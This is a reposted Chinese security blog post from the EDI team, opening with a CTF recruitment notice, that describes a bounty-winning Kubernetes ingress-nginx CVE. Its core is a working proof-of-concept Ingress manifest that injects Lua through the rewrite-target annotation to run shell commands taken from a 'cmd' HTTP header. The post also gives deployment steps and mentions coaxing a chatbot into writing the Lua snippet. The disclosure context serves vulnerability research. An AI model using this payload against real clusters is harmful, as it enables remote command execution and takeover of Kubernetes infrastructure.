EDI
JOIN US ▶▶▶
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn方向的师傅)有意向的师傅请联系邮箱[email protected]、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
直接给出 poc 并做个总结,通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/rewrite-target: |
suanve/ last;
}
location suanve/ {
content_by_lua_block {
local rsfile = io.popen(ngx.req.get_ headers()["cmd"]);
local rschar = rsfile:read("*all");
ngx.say(rschar);
}
}
location /fs/{
spec:
rules:
- host: k8s.evil.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
部署
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml
加一行hostNetwork: true
分析
然后ingress 里面参数 nginx.ingress.kubernetes.io/rewrite-target
可以任意插入,就尝试插入 lua 代码
我们在 hackerone 上也看到了一些相关的信息,他这个是包含文件
https://hackerone.com/reports/1620702
pua 下机器人
location /execute-command {
content_by_lua_block {
local handle = io.popen("ls -l")
local result = handle:read("*a")
handle:close()
ngx.say(result)
}
}
这里构造闭合后就成功通过
我们去 nginx.conf 看一下目前是什么状况
直接访问路由,就可以看到执行了代码
[https://github.com/openresty/lua-nginx-module#ngxreqget_headers](https://github.com/openresty/lua-nginx-module#ngxreqget_headers)
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):如何通过捡漏获取价值2600$的Kubernetes组件CVE